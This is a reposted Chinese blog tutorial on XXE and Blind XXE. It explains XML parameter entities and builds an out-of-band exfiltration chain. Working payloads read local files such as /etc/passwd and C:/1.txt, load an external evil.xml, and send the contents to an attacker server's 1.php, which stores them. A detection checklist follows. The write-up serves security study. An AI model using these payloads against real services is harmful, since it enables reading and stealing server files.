zoukankan      html  css  js  c++  java
  • 【XXE技巧拓展】————5、XXE漏洞以及Blind XXE总结

    前言

    XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:

    http://www.wooyun.org/bugs/wooyun-2010-059911。还有一些邮箱预览功能也存在问题, 如网易邮箱doc文件预览:

    http://www.wooyun.org/bugs/wooyun-2010-073321。下面是我结合参考文献(最后一节有声明)来研究的成果,意在疏通漏洞的原理,了解利用的细节。

    Blind XXE用途

    对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

    提交请求:
     

    <!ENTITY file SYSTEM “file:///etc/passwd”>
    <username>&file;</username>

    服务器在这个节点中返回etc/passwd的文件内容:

    <username>root:1:3.......</username>

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。

    参数实体和内部参数实体

    Blink XXE主要使用了DTD约束中的参数实体和内部实体。

    参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

    如:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
    %param1;
    ]>
    <root>
    [This is my site] &internal;
    </root>

    但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

    IE/Firefox:

    Chrome:

    这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。

    Blind XXE原理

    带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

    直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。
     

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % param1 "file:///c:/1.txt">
    <!ENTITY % param2 "http://127.0.0.1/?%param1">
    %param2;
    ]>

    于是考虑内部实体嵌套的形式:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % param1 "file:///c:/1.txt">
    <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
    %param2;
    ]>
    <root>
    [This is my site]
    </root>

    但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

    解决方案是:

    将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

    如下:

    【source file】

    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///C:/1.txt">
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
    %remote;
    %all;
    ]>
    <root>&send;</root>

    【evil.xml】

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

    实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当然,也直接在DTD中引用send实体,如果在evil.xml中,send是个参数实体的话,即以下方式:
     

    【source file】

    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///C:/1.txt">
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
    %remote;
     %all;
    %send;
    ]>

    【evil.xml】

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

    测试

    【1.php】

    <?php
    file_put_contents("1.txt", $_GET['file']) ;
    ?>

    【test.php】

    <?php
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///C:/passwd.txt">
    <!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
    %remote;
    %all;
    	%send;
    ]>
    EOF;
    $data = simplexml_load_string($xml) ;
    echo "<pre>" ;
    print_r($data) ;
    ?>

    【evil.xml】

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

    访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

    攻击之后1.txt中的数据:

    攻击者服务器日志:

    总结

    遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

    (1)检测XML是否会被解析:

    <?xml version=”1.0” encoding=”UTF-8”?>
     
    <!DOCTYPE ANY [
    <!ENTITY shit “this is shit”>
    ]>
     
    <root>&shit;</root>

    如果$shit;变成了”this is shit”,那就继续第二步。

    (2)检测服务器是否支持外部实体:

    <?xml version=”1.0” encoding=”UTF-8”?>
     
    <!DOCTYPE ANY [
    <!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
    %shit;
    ]>

    通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

    (3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

    (4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

    另外,这是寒假期间写的东西,难免会有些错误和理解不到位的地方,欢迎讨论与指正。
     

    参考文献

    [1] http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

    [2] http://security.tencent.com/index.php/blog/msg/69

    [3] bh-eu-13-XML-data-osipov-wp.pdf

    [4] XML_Exteral_Entity_Attack.pdf

    [5] http://www.91ri.org/9539.html
     

    转自:http://blog.csdn.net/u011721501

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    redis应用场景
    java.lang.IllegalArgumentException: Result Maps collection already contains value for xxx
    Java问题解决:Java compiler level does not match the version of the installed Java project facet.
    win10 安装Oracle 11g release 2
    Oracle 11G Client客户端安装
    Oracle分页查询排序数据重复问题
    Mysql 函数使用记录(三)——UNIX_TIMESTAMP() 、UNIX_TIMESTAMP(date)
    PL/SQL Developer过期解决方法
    PL/SQL Developer登录出现——Using a filter for all users can lead to poor performance!
    Oracle Single-Row Functions(单行函数)——NULL-Related Functions
  • 原文地址:https://www.cnblogs.com/devi1/p/13486512.html
Copyright © 2011-2022 走看看